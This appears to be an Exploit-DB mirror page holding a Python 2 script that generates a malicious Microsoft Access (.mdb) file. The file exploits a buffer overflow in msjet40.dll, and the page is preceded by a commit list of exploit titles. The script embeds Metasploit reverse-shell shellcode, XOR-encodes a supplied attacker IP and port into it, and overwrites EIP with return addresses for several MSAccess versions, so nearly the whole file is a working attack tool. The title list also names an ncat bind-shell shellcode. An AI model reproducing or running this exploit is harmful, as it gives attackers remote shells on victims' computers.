exploit-db-mirror/exploits/windows/local/951.py
Offensive Security 25e5c32779 DB: 2018-12-13
2 changes to exploits/shellcodes

Xlight FTP Server 1.25/1.41 - 'PASS'  Remote Buffer Overflow
Xlight FTP Server 1.25/1.41 - 'PASS' Remote Buffer Overflow

HP Printer FTP Print Server 2.4.5 - 'LIST'  Buffer Overflow
HP Printer FTP Print Server 2.4.5 - 'LIST' Buffer Overflow

Qbik WinGate 6.2.2 - 'LIST'  Remote Denial of Service
Qbik WinGate 6.2.2 - 'LIST' Remote Denial of Service

Quick 'n Easy FTP Server 3.9.1 - 'USER'  Remote Buffer Overflow
Quick 'n Easy FTP Server 3.9.1 - 'USER' Remote Buffer Overflow

Linux Kernel - 'AF_PACKET' Use-After-Free
Linux Kernel - 'AF_PACKET' Use-After-Free (2)

Linux Kernel - 'AF_PACKET' Use-After-Free
Linux Kernel - 'AF_PACKET' Use-After-Free (1)

WebRTC - VP9 Frame Processing  Out-of-Bounds Memory Access
WebRTC - VP9 Frame Processing Out-of-Bounds Memory Access

Oracle VirtualBox Manager 5.2.18 r124319  - 'Name Attribute' Denial of Service (PoC)
Oracle VirtualBox Manager 5.2.18 r124319 - 'Name Attribute' Denial of Service (PoC)

Systrace 1.x (x64) - Aware Linux Kernel Privilege Escalation
Systrace 1.x (Linux Kernel  x64) - Aware Local Privilege Escalation

PonyOS 3.0 - TTY 'ioctl()' Local Kernel
PonyOS 3.0 - TTY 'ioctl()' Kernel Local Privilege Escalation

Microsoft Windows 10  (Build 1703  Creators Update) (x86) - 'WARBIRD' 'NtQuerySystemInformation ' Kernel Local Privilege Escalation
Microsoft Windows 10 (Build 1703 Creators Update) (x86) - 'WARBIRD' 'NtQuerySystemInformation ' Kernel Local Privilege Escalation

Linux Kernel <  4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation
Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation

Linux Kernel  4.14.7 (Ubuntu 16.04 / CentOS 7) - (KASLR & SMEP Bypass) Arbitrary File Read
Linux Kernel 4.14.7 (Ubuntu 16.04 / CentOS 7) - (KASLR & SMEP Bypass) Arbitrary File Read

Microsoft Windows - JPEG GDI+ All-in-One Bind/Reverse/Admin/FileDownload
Microsoft Windows - JPEG GDI+ Bind/Reverse/Admin/File Download

Golden FTP Server 4.70 - 'PASS'  Buffer Overflow
Golden FTP Server 4.70 - 'PASS' Buffer Overflow

EasyFTP Server 1.7.0.11 - 'LIST'  Stack Buffer Overflow (Metasploit)
EasyFTP Server 1.7.0.11 - 'LIST' Stack Buffer Overflow (Metasploit)

Actfax FTP Server 4.27 - 'USER'  Stack Buffer Overflow (Metasploit)
Actfax FTP Server 4.27 - 'USER' Stack Buffer Overflow (Metasploit)

Sami FTP Server 2.0.1 - 'LIST'  Buffer Overflow
Sami FTP Server 2.0.1 - 'LIST' Buffer Overflow

Sami FTP Server - 'LIST'  Buffer Overflow (Metasploit)
Sami FTP Server - 'LIST' Buffer Overflow (Metasploit)
Apache Struts 2.3 < 2.3.34 /  2.5 < 2.5.16 - Remote Code Execution (1)
Apache Struts 2.3 < 2.3.34 /  2.5 < 2.5.16 - Remote Code Execution (2)
Apache Struts 2.3 < 2.3.34 / 2.5 < 2.5.16 - Remote Code Execution (1)
Apache Struts 2.3 < 2.3.34 / 2.5 < 2.5.16 - Remote Code Execution (2)

IGSuite 3.2.4 - Reverse Shell Blind SQL Injection
IGSuite 3.2.4 - Reverse Shell / Blind SQL Injection

Sitemakin SLAC 1.0 -  'my_item_search' SQL Injection
Sitemakin SLAC 1.0 - 'my_item_search' SQL Injection

Dolibarr ERP/CRM  < 7.0.3 - PHP Code Injection
Dolibarr ERP/CRM < 7.0.3 - PHP Code Injection

MTGAS  MOGG Web Simulator Script - SQL Injection
MTGAS MOGG Web Simulator Script - SQL Injection

Tourism Website Blog - Remote Code Execution / SQL Injection
Alumni Tracer SMS Notification - SQL Injection / Cross-Site Request Forgery
PrestaShop 1.6.x/1.7.x - Remote Code Execution
DomainMOD 4.11.01 - Cross-Site Scripting
Alumni Tracer SMS Notification - SQL Injection / Cross-Site Request Forgery
PrestaShop 1.6.x/1.7.x - Remote Code Execution
DomainMOD 4.11.01 - Cross-Site Scripting
TP-Link wireless router Archer C1200 - Cross-Site Scripting
Huawei B315s-22 - Information Leak
TP-Link wireless router Archer C1200 - Cross-Site Scripting
Huawei B315s-22 - Information Leak
HotelDruid 2.3.0 - 'id_utente_mod' SQL Injection
WordPress Plugin AutoSuggest 0.24 - 'wpas_keys' SQL Injection
ThinkPHP 5.0.23/5.1.31 - Remote Code Execution
HotelDruid 2.3.0 - 'id_utente_mod' SQL Injection
WordPress Plugin AutoSuggest 0.24 - 'wpas_keys' SQL Injection
ThinkPHP 5.0.23/5.1.31 - Remote Code Execution

Linux/x86 - execve(/usr/bin/ncat -lvp 1337 -e /bin/bash)+Null-Free Shellcode (95 bytes)
Linux/x86 - Bind (1337/TCP) Ncat (/usr/bin/ncat) Shell (/bin/bash) + Null-Free Shellcode (95 bytes)
2018-12-13 05:01:45 +00:00

215 lines
No EOL
13 KiB
Python
Executable file

##################################################################
# #
# Microsoft Jet (msjet40.dll) Reverse Shell Exploit #
# #
# #
# #
# #
# Based on the exploit written by S.Pearson and #
# Python version by coded by Tal zeltzer #
# #
# XP/sp2 fixed version by Jean Luc #
# #
##################################################################
import sys
import struct
# Addresses are compatible with Windows XP Service Pack 1 and Service Pack 2
# EIP = "\x47\xAD\x05\x30"; # Use this one for MSAccess 2003 (jmp edx)
EIP = "\xF7\x69\x05\x30"; # Use this one MSAccess 2002 (jmp edx)
# EIP = "\xFf\xf7\x07\x30"; # Use this one MSAccess 2000 (jmp edx)
# Reverse Connect Shellcode (From metasploit)
Shellcode_p1 = "\x31\xc9\x83\xe9\xb7\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x97"
Shellcode_p1 += "\x25\xaa\xb5\x83\xeb\xfc\xe2\xf4\x6b\x4f\x41\xfa\x7f\xdc\x55\x4a"
Shellcode_p1 += "\x68\x45\x21\xd9\xb3\x01\x21\xf0\xab\xae\xd6\xb0\xef\x24\x45\x3e"
Shellcode_p1 += "\xd8\x3d\x21\xea\xb7\x24\x41\x56\xa7\x6c\x21\x81\x1c\x24\x44\x84"
Shellcode_p1 += "\x57\xbc\x06\x31\x57\x51\xad\x74\x5d\x28\xab\x77\x7c\xd1\x91\xe1"
Shellcode_p1 += "\xb3\x0d\xdf\x56\x1c\x7a\x8e\xb4\x7c\x43\x21\xb9\xdc\xae\xf5\xa9"
Shellcode_p1 += "\x96\xce\xa9\x99\x1c\xac\xc6\x91\x8b\x44\x69\x84\x57\x41\x21\xf5"
Shellcode_p1 += "\xa7\xae\xea\xb9\x1c\x55\xb6\x18\x1c\x65\xa2\xeb\xff\xab\xe4\xbb"
Shellcode_p1 += "\x7b\x75\x55\x63\xa6\xfe\xcc\xe6\xf1\x4d\x99\x87\xff\x52\xd9\x87"
Shellcode_p1 += "\xc8\x71\x55\x65\xff\xee\x47\x49\xac\x75\x55\x63\xc8\xac\x4f\xd3"
Shellcode_p1 += "\x16\xc8\xa2\xb7\xc2\x4f\xa8\x4a\x47\x4d\x73\xbc\x62\x88\xfd\x4a"
Shellcode_p1 += "\x41\x76\xf9\xe6\xc4\x66\xf9\xf6\xc4\xda\x7a\xdd"
Shellcode_p2 = "\xf1\x76\x23\x54\x02\x4d\x46\x4c\x3d\x45\xfd\x4a"
Shellcode_p2 += "\x41\x4f\xba\xe4\xc2\xda\x7a\xd3\xfd\x41\xcc\xdd\xf4\x48\xc0\xe5"
Shellcode_p2 += "\xce\x0c\x66\x3c\x70\x4f\xee\x3c\x75\x14\x6a\x46\x3d\xb0\x23\x48"
Shellcode_p2 += "\x69\x67\x87\x4b\xd5\x09\x27\xcf\xaf\x8e\x01\x1e\xff\x57\x54\x06"
Shellcode_p2 += "\x81\xda\xdf\x9d\x68\xf3\xf1\xe2\xc5\x74\xfb\xe4\xfd\x24\xfb\xe4"
Shellcode_p2 += "\xc2\x74\x55\x65\xff\x88\x73\xb0\x59\x76\x55\x63\xfd\xda\x55\x82"
Shellcode_p2 += "\x68\xf5\xc2\x52\xee\xe3\xd3\x4a\xe2\x21\x55\x63\x68\x52\x56\x4a"
Shellcode_p2 += "\x47\x4d\x5a\x3f\x93\x7a\xf9\x4a\x41\xda\x7a\xb5"
# Header
mdbHeader = "\x00\x01\x00\x00\x53\x74\x61\x6E\x64\x61\x72\x64\x20\x4A\x65\x74"
mdbHeader += "\x20\x44\x42\x00\x01\x00\x00\x00\xB5\x6E\x03\x62\x60\x09\xC2\x55"
mdbHeader += "\xE9\xA9\x67\x72\x40\x3F\x00\x9C\x7E\x9F\x90\xFF\x85\x9A\x31\xC5"
mdbHeader += "\x79\xBA\xED\x30\xBC\xDF\xCC\x9D\x63\xD9\xE4\xC3\x9F\x46\xFB\x8A"
mdbHeader += "\xBC\x4E\xB2\x6D\xEC\x37\x69\xD2\x9C\xFA\xF2\xC8\x28\xE6\x27\x20"
mdbHeader += "\x8A\x60\x60\x02\x7B\x36\xC1\xE4\xDF\xB1\x43\x62\x13\x43\xFB\x39"
mdbHeader += "\xB1\x33\x00\xF7\x79\x5B\xA6\x23\x7C\x2A\xAF\xD0\x7C\x99\x08\x1F"
mdbHeader += "\x98\xFD\x1B\xC9\x5A\x6A\xE2\xF8\x82\x66\x5F\x95\xF8\xD0\x89\x24"
mdbHeader += "\x85\x67\xC6\x1F\x27\x44\xD2\xEE\xCF\x65\xED\xFF\x07\xC7\x46\xA1"
mdbHeader += "\x78\x16\x0C\xED\xE9\x2D\x62\xD4\x54\x06\x00\x00\x34\x2E\x30\x00"
# Body
mdbBody = "\x00\x00\x80\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
mdbBody += "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
mdbBody += "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
mdbBody += "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
mdbBody += "\x02\x01\xDE\x0B\x00\x00\x00\x00\x90\x90\x90\x90\x59\x06\x00\x00"
mdbBody += "\x11\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
mdbBody += "\x00\x00\x00\x00\x00\x00\x00\x00\x53\x11\x00\x0B\x00\x11\x00\x02"
mdbBody += "\x00\x00\x00\x02\x00\x00\x00\x00\x06\x00\x00\x01\x06\x00\x00\x00"
mdbBody += "\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11"
mdbBody += "\x00\x00\x00\x00\x00\x00\x00\x0C\x59\x06\x00\x00\x09\x00\x03\x00"
mdbBody += "\x00\x00\x09\x04\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00"
mdbBody += "\x0C\x59\x06\x00\x00\x08\x00\x02\x00\x00\x00\x09\x04\x00\x00\x12"
mdbBody += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x59\x06\x00\x00\x04\x00"
mdbBody += "\x01\x00\x00\x00\x09\x04\x00\x00\x13\x00\x00\x00\x00\x00\x0a\x00"
mdbBody += "\x08\x00\x08\x59\x06\x00\x00\x05\x00\x01\x00\x00\x00\x09\x04\x00"
mdbBody += "\x00\x13\x00\x00\x00\x00\x00\x12\x00\x08\x00\x04\x59\x06\x00\x00"
mdbBody += "\x07\x00\x02\x00\x00\x00\x09\x04\x00\x00\x13\x00\x00\x00\x00\x00"
mdbBody += "\x1A\x00\x04\x00\x0A\x59\x06\x00\x00\x0A\x00\x04\x00\x00\x00\x09"
mdbBody += "\x04\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\xFE\x01\x04\x59\x06"
mdbBody += "\x00\x00\x00\x00\x00\x00\x00\x00\x09\x04\x00\x00\x13\x00\x00\x00"
mdbBody += "\x00\x00\x00\x00\x04\x00\x0B\x59\x06\x00\x00\x0D\x00\x07\x00\x00"
mdbBody += "\x00\x09\x04\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0B"
mdbBody += "\x59\x06\x00\x00\x10\x00\x0A\x00\x00\x00\x09\x04\x00\x00\x12\x00"
mdbBody += "\x00\x00\x00\x00\x00\x00\x00\x00\x0B\x59\x06\x00\x00\x0F\x00\x09"
mdbBody += "\x00\x00\x00\x09\x04\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00"
mdbBody += "\x00\x0B\x59\x06\x00\x00\x0E\x00\x08\x00\x00\x00\x09\x04\x00\x00"
mdbBody += "\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0A\x59\x06\x00\x00\x02"
mdbBody += "\x00\x00\x00\x00\x00\x09\x04\x00\x00\x12\x00\x00\x00\x00\x00\x00"
mdbBody += "\x00\xFE\x01\x09\x59\x06\x00\x00\x06\x00\x01\x00\x00\x00\x09\x04"
mdbBody += "\x00\x00\x32\x00\x00\x00\x00\x00\x00\x00\xFE\x01\x04\x59\x06\x00"
mdbBody += "\x00\x01\x00\x00\x00\x00\x00\x09\x04\x00\x00\x13\x00\x00\x00\x00"
mdbBody += "\x00\x04\x00\x04\x00\x0B\x59\x06\x00\x00\x0C\x00\x06\x00\x00\x00"
mdbBody += "\x09\x04\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x59"
mdbBody += "\x06\x00\x00\x0B\x00\x05\x00\x00\x00\x09\x04\x00\x00\x12\x00\x00"
mdbBody += "\x00\x00\x00\x00\x00\xFE\x01\x03\x59\x06\x00\x00\x03\x00\x01\x00"
mdbBody += "\x00\x00\x09\x04\x00\x00\x13\x00\x00\x00\x00\x00\x08\x00\x02\x00"
mdbBody += "\x0E\x00\x43\x00\x6F\x00\x6E\x00\x6E\x00\x65\x00\x63\x00\x74\x00"
mdbBody += "\x10\x00\x44\x00\x61\x00\x74\x00\x61\x00\x62\x00\x61\x00\x73\x00"
mdbBody += "\x65\x00\x14\x00\x44\x00\x61\x00\x74\x00\x65\x00\x43\x00\x72\x00"
mdbBody += "\x65\x00\x61\x00\x74\x00\x65\x00\x14\x00\x44\x00\x61\x00\x74\x00"
mdbBody += "\x65\x00\x55\x00\x70\x00\x64\x00\x61\x00\x74\x00\x65\x00\x0A\x00"
mdbBody += "\x46\x00\x6C\x00\x61\x00\x67\x00\x73\x00\x16\x00\x46\x00\x6F\x00"
mdbBody += "\x72\x00\x65\x00\x69\x00\x67\x00\x6E\x00\x4E\x00\x61\x00\x6D\x00"
mdbBody += "\x65\x00\x04\x00\x49\x00\x64\x00\x04\x00\x4C\x00\x76\x00\x0E\x00"
mdbBody += "\x4C\x00\x76\x00\x45\x00\x78\x00\x74\x00\x72\x00\x61\x00\x10\x00"
mdbBody += "\x4C\x00\x76\x00\x4D\x00\x6F\x00\x64\x00\x75\x00\x6C\x00\x65\x00"
mdbBody += "\x0C\x00\x4C\x00\x76\x00\x50\x00\x72\x00\x6F\x00\x70\x00\x08\x00"
mdbBody += "\x4E\x00\x61\x00\x6D\x00\x65\x00\x0A\x00\x4F\x00\x77\x00\x6E\x00"
mdbBody += "\x65\x00\x72\x00\x10\x00\x50\x00\x61\x00\x72\x00\x65\x00\x6E\x00"
mdbBody += "\x74\x00\x49\x00\x64\x00\x16\x00\x52\x00\x6D\x00\x74\x00\x49\x00"
mdbBody += "\x6E\x00\x66\x00\x6F\x00\x4C\x00\x6F\x00\x6E\x00\x67\x00\x18\x00"
mdbBody += "\x52\x00\x6D\x00\x74\x00\x49\x00\x6E\x00\x66\x00\x6F\x00\x53\x00"
mdbBody += "\x68\x00\x6F\x00\x72\x00\x74\x00\x08\x00\x54\x00\x79\x00\x70\x00"
mdbBody += "\x65\x00\x83\x07\x00\x00\x01\x00\x01\x02\x00\x01\xFF\xFF\x00\xFF"
mdbBody += "\xFF\x00\xFF\xFF\x00\xFF\xFF\x00\xFF\xFF\x00\xFF\xFF\x00\xFF\xFF"
mdbBody += "\x00\xFF\xFF\x00\x10\x06\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00"
mdbBody += "\x81\x00\x00\x00\x00\x00\x83\x07\x00\x00\x00\x00\x01\xFF\xFF\x00"
mdbBody += "\xFF\xFF\x00\xFF\xFF\x00\xFF\xFF\x00\xFF\xFF\x00\xFF\xFF\x00\xFF"
mdbBody += "\xFF\x00\xFF\xFF\x00\xFF\xFF\x00\x11\x06\x00\x00\x08\x00\x00\x00"
mdbBody += "\x00\x00\x00\x00\x81\x00\x00\x00\x00\x00\x59\x06\x00\x00\x01\x00"
mdbBody += "\x00\x00\x01\x00\x00\x00\x00\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x04"
mdbBody += "\x04\x01\x00\x00\x00\x00\x59\x06\x00\x00\x00\x00\x00\x00\x00\x00"
mdbBody += "\x00\x00\x00\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x04\x04\x00\x00\x00"
mdbBody += "\x00\x00"
# Body2
mdbBody2 = "\x02\x01\xA9\x0E\x00\x00\x00\x00\x4F\x01\x00\x00\x59\x06\x00\x00"
mdbBody2 += "\x34\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
mdbBody2 += "\x00\x00\x00\x00\x00\x00\x00\x00\x53\x04\x00\x01\x00\x04\x00\x01"
mdbBody2 += "\x00\x00\x00\x01\x00\x00\x00\x12\x06\x00\x00\x13\x06\x00\x00\x00"
mdbBody2 += "\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00\x04\x59\x06\x00\x00"
mdbBody2 += "\x02\x00\x01\x00\x00\x00\x09\x04\x00\x00\x13\x00\x00\x00\x00\x00"
mdbBody2 += "\x04\x00\x04\x00\x01\x59\x06\x00\x00\x03\x00\x01\x00\x00\x00\x09"
mdbBody2 += "\x04\x00\x00\x13\x00\x00\x00\x00\x00\x00\x00\x01\x00\x04\x59\x06"
mdbBody2 += "\x00\x00\x00\x00\x00\x00\x00\x00\x09\x04\x00\x00\x13\x00\x00\x00"
mdbBody2 += "\x00\x00\x00\x00\x04\x00\x09\x59\x06\x00\x00\x01\x00\x00\x00\x00"
mdbBody2 += "\x00\x09\x04\x00\x00\x32\x00\x00\x00\x00\x00\x07\x00\xFE\x01\x06"
mdbBody2 += "\x00\x41\x00\x43\x00\x4D\x00\x18\x00\x46\x00\x49\x00\x6E\x00\x68"
mdbBody2 += "\x00\x65\x00\x72\x00\x69\x00\x74\x00\x61\x00\x62\x00\x6C\x00\x65"
mdbBody2 += "\x00\x10\x00\x4F\x00\x62\x00\x6A\x00\x65\x00\x63\x00\x74\x00\x49"
mdbBody2 += "\x00\x64\x00\x06\x00\x53\x00\x49\x00\x44\x00\x83\x07\x00\x00\x00"
mdbBody2 += "\x00\x01\xFF\xFF\x00\xFF\xFF\x00\xFF\xFF\x09\xFF\xFF\x00\xFF\xFF"
mdbBody2 += "\x00\xFF\xFF\x00\xFF\xFF\x04\xFF\xFF\x12\xFF\xFF\x00\x14\x06\x00"
mdbBody2 += "\x00\x09\x00\x00\x00\x41\x00\x74\x00\x88\x00\x00\x00\x00\x00\x59"
mdbBody2 += "\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFF\xFF\xFF"
mdbBody2 += "\x00\x00\x00\x00\x04\x04\x00\x00\x00\x00\x00\x10\x00\x4F\x00\x62"
mdbBody2 += "\x00\x6A\x00\x65\x00\x63\x00\x74\x00\x49\x00\x64\x00\xFF\xFF\x00";
ShellJump = "\x14\x00" # Expanded ID Parameter (20 bytes) to accommodate this code
ShellJump += "\x83\xC6\x08" # Add ESI,8 (Pointer to our shellcode)
ShellJump += "\xFF\xE6" # Call ESI (Execute Shellcode)
ShellJump += "\x90\x90\x90\x90"
ShellJump += "\x90\x90\x90\x90" # Not used
ShellJump += "\x90\x90\x90";
VulnerableParameter = "\x18\x00\x50\x00"
VulnerableParameter += "\x61\x00\x72\x00"
VulnerableParameter += "\x65\x00\x6E\x00"
VulnerableParameter += "\x74\x00\x49\x00"
VulnerableParameter += "\x64\x00\x4E\x00"
VulnerableParameter += "\x61\x00\x6D\x00"
VulnerableParameter += "\x65\x00\x00\x01" # 0100 will result in EDX pointing to a variable containing our MSAccess offset
VulnerableParameter += "\x04\x06\x00\x00"
VulnerableParameter += "\x05\x90" # \x06
if (len(sys.argv) != 4):
print "\nUsage: " + sys.argv[0] + " <Attacker IP> <Attacker Port> <Output File>\n"
print "##################################################################"
print "# #"
print "# Microsoft Jet (msjet40.dll) Reverse Shell Exploit #"
print "# #"
print "# #"
print "# Based on the exploit written by S.Pearson and #"
print "# Python version by coded by Tal zeltzer #"
print "# #"
print "# XP/sp2 fixed version by Jean Luc #"
print "# #"
print "##################################################################"
sys.exit(0)
i=0
xorTable = [0xB5,0xAA,0x25,0x97]
Shellcode = Shellcode_p1
ipAddress = sys.argv[1].split(".",4);
port = struct.pack("h",int(sys.argv[2]));
while(i<4):
Shellcode += chr(int(ipAddress[i]) ^ xorTable[3-i])
i+=1;
Shellcode += "\xf1\x4d"
Shellcode += chr(struct.unpack("B",port[1])[0] ^ 0xAA)
Shellcode += chr(struct.unpack("B",port[0])[0] ^ 0xB5)
Shellcode += Shellcode_p2
mdb = mdbHeader
mdb += "\x41" * 7968
mdb += mdbBody
mdb += ShellJump
# mdb += struct.pack("<L",ReturnAddress)
mdb += EIP
mdb += VulnerableParameter
mdb += Shellcode + "\x90" * (3094 - len(Shellcode))
mdb += mdbBody2
mdb += "\x00" * (94208 -len(mdb))
fileOut = open(sys.argv[3],"wb")
fileOut.write(mdb)
fileOut.close()
# milw0rm.com [2005-04-22]